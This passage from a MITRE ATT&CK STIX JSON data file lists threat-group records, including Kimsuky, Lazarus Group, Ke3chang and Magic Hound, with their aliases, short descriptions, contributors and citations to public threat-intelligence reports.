            "x_mitre_contributors": [
                "Daniyal Naeem, BT Security",
                "Matt Brenton, Zurich Insurance Group",
                "Mayuresh Dani, Qualys",
                "Harshal Tupsamudre, Qualys"
            ],
            "x_mitre_version": "1.0"
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            "object_marking_refs": [
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            "external_references": [
                {
                    "external_id": "G0126",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0126"
                },
                {
                    "source_name": "Malwarebytes Higaisa 2020",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."
                },
                {
                    "source_name": "Zscaler Higaisa 2020",
                    "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt",
                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."
                },
                {
                    "source_name": "PTSecurity Higaisa 2020",
                    "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/",
                    "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."
                }
            ],
            "name": "Higaisa",
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)",
            "type": "intrusion-set",
            "id": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3",
            "aliases": [
                "Higaisa"
            ],
            "modified": "2021-04-22T02:12:43.892Z",
            "created": "2021-03-05T18:54:56.267Z",
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Daniyal Naeem, BT Security"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0072",
                    "external_id": "G0072"
                },
                {
                    "source_name": "Honeybee",
                    "description": "(Citation: McAfee Honeybee)"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
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            "object_marking_refs": [
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            ],
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)",
            "name": "Honeybee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "type": "intrusion-set",
            "aliases": [
                "Honeybee"
            ],
            "modified": "2020-07-23T19:48:35.981Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_version": "1.1"
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        {
            "id": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd",
            "type": "intrusion-set",
            "name": "Inception",
            "description": "[Inception](https://attack.mitre.org/groups/G0100) is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)",
            "external_references": [
                {
                    "external_id": "G0100",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0100"
                },
                {
                    "source_name": "Inception",
                    "description": "(Citation: Symantec Inception Framework March 2018)"
                },
                {
                    "source_name": "Inception Framework",
                    "description": "(Citation: Symantec Inception Framework March 2018)"
                },
                {
                    "source_name": "Cloud Atlas",
                    "description": "(Citation: Kaspersky Cloud Atlas December 2014)"
                },
                {
                    "source_name": "Unit 42 Inception November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/",
                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Symantec Inception Framework March 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                },
                {
                    "source_name": "Kaspersky Cloud Atlas December 2014",
                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
                    "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "Inception",
                "Inception Framework",
                "Cloud Atlas"
            ],
            "modified": "2020-05-20T20:54:12.685Z",
            "created": "2020-05-08T17:01:04.058Z",
            "x_mitre_contributors": [
                "Oleg Skulkin, Group-IB"
            ],
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        },
        {
            "id": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07",
            "type": "intrusion-set",
            "name": "Indrik Spider",
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) is a financially motivated threat group that has leveraged the Dridex banking trojan since at least June 2014 and delivered ransomware variants since 2017.(Citation: Crowdstrike Indrik November 2018) ",
            "external_references": [
                {
                    "external_id": "G0119",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0119"
                },
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "aliases": [
                "Indrik Spider"
            ],
            "modified": "2021-04-20T02:00:43.762Z",
            "created": "2021-01-06T17:46:35.134Z",
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0004",
                    "external_id": "G0004"
                },
                {
                    "source_name": "Ke3chang",
                    "description": "(Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)"
                },
                {
                    "source_name": "APT15",
                    "description": "(Citation: NCC Group APT15 Alive and Strong)"
                },
                {
                    "source_name": "Mirage",
                    "description": "(Citation: NCC Group APT15 Alive and Strong)"
                },
                {
                    "source_name": "Vixen Panda",
                    "description": "(Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)"
                },
                {
                    "source_name": "GREF",
                    "description": "(Citation: NCC Group APT15 Alive and Strong)"
                },
                {
                    "source_name": "Playful Dragon",
                    "description": "(Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)"
                },
                {
                    "source_name": "RoyalAPT",
                    "description": "(Citation: APT15 Intezer June 2018)"
                },
                {
                    "source_name": "Villeneuve et al 2014",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                },
                {
                    "source_name": "APT15 Intezer June 2018",
                    "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.",
                    "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "aliases": [
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                "APT15",
                "Mirage",
                "Vixen Panda",
                "GREF",
                "Playful Dragon",
                "RoyalAPT"
            ],
            "modified": "2021-03-29T19:54:46.340Z",
            "created": "2017-05-31T21:31:47.177Z",
            "x_mitre_version": "1.3"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0094",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0094"
                },
                {
                    "source_name": "Kimsuky",
                    "description": "(Citation: Securelist Kimsuky Sept 2013)"
                },
                {
                    "source_name": "Thallium",
                    "description": "(Citation: Cybereason Kimsuky November 2020)"
                },
                {
                    "source_name": "Black Banshee",
                    "description": "(Citation: Cybereason Kimsuky November 2020)"
                },
                {
                    "source_name": "Velvet Chollima",
                    "description": "(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)"
                },
                {
                    "source_name": "EST Kimsuky April 2019",
                    "url": "https://blog.alyac.co.kr/2234",
                    "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019."
                },
                {
                    "source_name": "BRI Kimsuky April 2019",
                    "url": "https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/",
                    "description": "BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019."
                },
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                },
                {
                    "source_name": "Securelist Kimsuky Sept 2013",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."
                },
                {
                    "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.",
                    "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/",
                    "source_name": "Zdnet Kimsuky Dec 2018"
                },
                {
                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group initially focused on targeting Korean think tanks and DPRK/nuclear-related targets, expanding recently to the United States, Russia, and Europe. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)",
            "name": "Kimsuky",
            "type": "intrusion-set",
            "id": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "aliases": [
                "Kimsuky",
                "Thallium",
                "Black Banshee",
                "Velvet Chollima"
            ],
            "modified": "2021-04-23T02:34:44.299Z",
            "created": "2019-08-26T15:03:02.577Z",
            "x_mitre_version": "2.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Lazarus Group",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0032",
                    "external_id": "G0032"
                },
                {
                    "source_name": "Lazarus Group",
                    "description": "(Citation: Novetta Blockbuster)"
                },
                {
                    "source_name": "HIDDEN COBRA",
                    "description": "The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)"
                },
                {
                    "source_name": "Guardians of Peace",
                    "description": "(Citation: US-CERT HIDDEN COBRA June 2017)"
                },
                {
                    "source_name": "ZINC",
                    "description": "(Citation: Microsoft ZINC disruption Dec 2017)"
                },
                {
                    "source_name": "NICKEL ACADEMY",
                    "description": "(Citation: Secureworks NICKEL ACADEMY Dec 2017)"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A",
                    "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.",
                    "source_name": "US-CERT HIDDEN COBRA June 2017"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Lazarus KillDisk",
                    "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.",
                    "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/"
                },
                {
                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.",
                    "url": "https://securelist.com/lazarus-under-the-hood/77908/",
                    "source_name": "Kaspersky Lazarus Under The Hood Blog 2017"
                },
                {
                    "source_name": "US-CERT HOPLIGHT Apr 2019",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019."
                },
                {
                    "source_name": "Microsoft ZINC disruption Dec 2017",
                    "description": "Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.",
                    "url": "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/"
                },
                {
                    "source_name": "Secureworks NICKEL ACADEMY Dec 2017",
                    "description": "Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.",
                    "url": "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing"
                }
            ],
            "aliases": [
                "Lazarus Group",
                "HIDDEN COBRA",
                "Guardians of Peace",
                "ZINC",
                "NICKEL ACADEMY"
            ],
            "modified": "2021-03-18T16:34:25.941Z",
            "created": "2017-05-31T21:32:03.807Z",
            "x_mitre_version": "1.5"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Leafminer",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0077",
                    "external_id": "G0077"
                },
                {
                    "source_name": "Leafminer",
                    "description": "(Citation: Symantec Leafminer July 2018)"
                },
                {
                    "source_name": "Raspite",
                    "description": "(Citation: Dragos Raspite Aug 2018)"
                },
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                },
                {
                    "description": "Dragos, Inc. (2018, August 2). RASPITE. Retrieved November 26, 2018.",
                    "url": "https://www.dragos.com/blog/20180802Raspite.html",
                    "source_name": "Dragos Raspite Aug 2018"
                }
            ],
            "aliases": [
                "Leafminer",
                "Raspite"
            ],
            "modified": "2020-06-23T19:56:50.005Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_version": "2.2"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Leviathan",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0065",
                    "external_id": "G0065"
                },
                {
                    "source_name": "Leviathan",
                    "description": "(Citation: Proofpoint Leviathan Oct 2017)"
                },
                {
                    "source_name": "TEMP.Jumper",
                    "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye APT40 March 2019)"
                },
                {
                    "source_name": "APT40",
                    "description": "The group identified by Proofpoint as Leviathan appears to significantly overlap with FireEye's reporting on APT40. Additionally, FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)(Citation: Proofpoint Leviathan Oct 2017)"
                },
                {
                    "source_name": "TEMP.Periscope",
                    "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)"
                },
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                },
                {
                    "source_name": "FireEye APT40 March 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html",
                    "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."
                }
            ],
            "aliases": [
                "Leviathan",
                "TEMP.Jumper",
                "APT40",
                "TEMP.Periscope"
            ],
            "modified": "2020-03-30T01:06:24.797Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_contributors": [
                "Valerii Marchuk, Cybersecurity Help s.r.o."
            ],
            "x_mitre_version": "2.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Lotus Blossom",
            "description": "[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0030",
                    "external_id": "G0030"
                },
                {
                    "source_name": "Lotus Blossom",
                    "description": "(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)"
                },
                {
                    "source_name": "DRAGONFISH",
                    "description": "(Citation: Accenture Dragonfish Jan 2018)"
                },
                {
                    "source_name": "Spring Dragon",
                    "description": "(Citation: Spring Dragon Jun 2015)(Citation: Accenture Dragonfish Jan 2018)"
                },
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                },
                {
                    "source_name": "Accenture Dragonfish Jan 2018",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."
                },
                {
                    "url": "https://securelist.com/the-spring-dragon-apt/70726/",
                    "description": "Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.",
                    "source_name": "Spring Dragon Jun 2015"
                }
            ],
            "aliases": [
                "Lotus Blossom",
                "DRAGONFISH",
                "Spring Dragon"
            ],
            "modified": "2019-03-25T14:17:43.218Z",
            "created": "2017-05-31T21:32:01.092Z",
            "x_mitre_version": "2.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
            "name": "MONSOON",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0042",
                    "external_id": "G0042"
                }
            ],
            "modified": "2018-10-17T00:17:13.469Z",
            "created": "2017-05-31T21:32:07.928Z"
        },
        {
            "created": "2019-09-13T12:37:10.394Z",
            "modified": "2021-04-23T01:38:01.788Z",
            "aliases": [
                "Machete",
                "APT-C-43",
                "El Machete"
            ],
            "id": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0",
            "type": "intrusion-set",
            "name": "Machete",
            "description": "[Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)",
            "external_references": [
                {
                    "external_id": "G0095",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0095"
                },
                {
                    "source_name": "Machete",
                    "description": "(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)("
                },
                {
                    "source_name": "APT-C-43",
                    "description": "(Citation: 360 Machete Sep 2020)"
                },
                {
                    "source_name": "El Machete",
                    "description": "(Citation: Cylance Machete Mar 2017)"
                },
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
                    "source_name": "Securelist Machete Aug 2014",
                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
                {
                    "source_name": "360 Machete Sep 2020",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_contributors": [
                "Matias Nicolas Porolli, ESET"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2021-04-25T22:34:23.617Z",
            "aliases": [
                "Magic Hound",
                "COBALT ILLUSION",
                "Charming Kitten",
                "ITG18",
                "Phosphorus",
                "Newscaster",
                "APT35"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0059",
                    "external_id": "G0059"
                },
                {
                    "source_name": "Magic Hound",
                    "description": "(Citation: Unit 42 Magic Hound Feb 2017)"
                },
                {
                    "source_name": "COBALT ILLUSION",
                    "description": "(Citation: Secureworks COBALT ILLUSION Threat Profile)"
                },
                {
                    "source_name": "Charming Kitten",
                    "description": "(Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)"
                },
                {
                    "source_name": "ITG18",
                    "description": "(Citation: IBM ITG18 2020)"
                },
                {
                    "source_name": "Phosphorus",
                    "description": "(Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)"
                },
                {
                    "source_name": "Newscaster",
                    "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)"
                },
                {
                    "source_name": "APT35",
                    "description": "(Citation: FireEye APT35 2018)"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                },
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                },
                {
                    "source_name": "Secureworks COBALT ILLUSION Threat Profile",
                    "url": "https://www.secureworks.com/research/threat-profiles/cobalt-illusion",
                    "description": "Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021."
                },
                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                },
                {
                    "source_name": "Eweek Newscaster and Charming Kitten May 2014",
